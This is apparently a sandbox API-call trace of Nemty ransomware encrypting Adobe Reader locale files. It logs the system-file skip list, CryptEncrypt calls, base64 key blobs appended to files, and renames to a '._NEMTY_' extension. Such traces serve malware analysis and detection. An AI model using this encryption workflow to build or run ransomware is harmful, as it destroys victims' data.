1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="boot.ini") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="ntuser.dat") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="desktop.ini") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="CONFIG.SYS") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="RECYCLER") returned -1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="bootmgr") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="programdata") returned 1 [0181.053] lstrcmpiW (lpString1="RdLang32.POL", lpString2="appdata") returned 1 [0181.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.POL", lpUsedDefaultChar=0x0) returned 12 [0181.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.POL", lpUsedDefaultChar=0x0) returned 12 [0181.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.POL", lpUsedDefaultChar=0x0) returned 12 [0181.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.POL", lpUsedDefaultChar=0x0) returned 12 [0181.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.054] Sleep (dwMilliseconds=0x5) [0181.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f923c50, dwHighDateTime=0x1d561e8)) [0181.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f923c50, dwHighDateTime=0x1d561e8)) [0181.067] GetLastError () returned 0x0 [0181.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.067] GetLastError () returned 0x0 [0181.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.067] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.068] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/uwJyZIqUNVq5LsSQA0m599M/zkFTF3OJDKh93vFujCrda5PJAYsUciFyJ2ZvqT+\r\nCug1Os6xsa1KRdV9WoCn/D2MyJetXORrHz77jqengrOb1gI7xdA7ceRGYZB2pr2m\r\n6g+Gs1n0S8IFcmIpvONv2uDqJYeQohunn8stwFAUqCfSv5By0epalSVRdqgle+AM\r\nvcrTzlZSrOXZsx5BtaBCMxcsjLWxlbI+NgnTIvHnwoW+qQQoPdAJKYgWZehMEr4o\r\npyPveTpxP+bT86rtDDXV7/FDxeG34ixS7CmzxCXoBbdl/Uaa9Ui9eNYFLaJZw9xS\r\n9djq+9pM4wZca7024inTRw==\r\n", pcchString=0x653e5dc) returned 1 [0181.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.068] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1365504) returned 1 [0181.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.068] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.068] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.077] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.077] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.078] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1365504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d600 [0181.078] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.080] CloseHandle (hObject=0x2e8) returned 1 [0181.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.080] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol._nemty_kgobjgd_")) returned 1 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.081] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.POL", cAlternateFileName="READOU~1.POL")) returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2=".") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="..") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="...") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="windows") returned -1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="rsa") returned -1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="NTDETECT.COM") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="ntldr") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="MSDOS.SYS") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="IO.SYS") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="boot.ini") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="boot.ini") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="ntuser.dat") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="desktop.ini") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="CONFIG.SYS") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="RECYCLER") returned -1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="bootmgr") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="programdata") returned 1 [0181.081] lstrcmpiW (lpString1="ReadOutLoud.POL", lpString2="appdata") returned 1 [0181.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.POL", lpUsedDefaultChar=0x0) returned 15 [0181.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.POL", lpUsedDefaultChar=0x0) returned 15 [0181.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.POL", lpUsedDefaultChar=0x0) returned 15 [0181.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.POL", lpUsedDefaultChar=0x0) returned 15 [0181.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.082] Sleep (dwMilliseconds=0x5) [0181.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f949db0, dwHighDateTime=0x1d561e8)) [0181.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f949db0, dwHighDateTime=0x1d561e8)) [0181.093] GetLastError () returned 0x0 [0181.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.093] GetLastError () returned 0x0 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.094] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.094] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="KHGIoDsuvHyKgv9Gt4O/dUsnO5XeuwnxihMboSn9O9lBdLNIy/eqIs02ZBVdp3kG\r\nyeqfjIceLwr9I7oTtpgrt80GPi0/1nzDoK43wyQ7XBU95mWaRnc6NM9LKIwFTEtU\r\nEUK5DS4oXs0A8tb7ddJkxsA2SQxdns2i/XAudkaxPtZuxKAgrHDKUg+tMmnP5um/\r\nVCD7rhPIwoFb9JMhPGKi0Dzc0rTyrVOhn71WApbaDYSVc5w77PEd7itESXkO4LOQ\r\n88TPX2tb2Cuk57ugFZuMkVoy4esY6cwNlrPaEC5Nml4XEptqowxN/fvuXOMrOLHP\r\nSAH54LonoZdAth+qzqZriA==\r\n", pcchString=0x653e5dc) returned 1 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.096] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0181.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0181.096] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.096] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0181.099] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.099] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0181.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.099] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0181.099] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.100] CloseHandle (hObject=0x2e8) returned 1 [0181.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.100] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol._nemty_kgobjgd_")) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.101] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 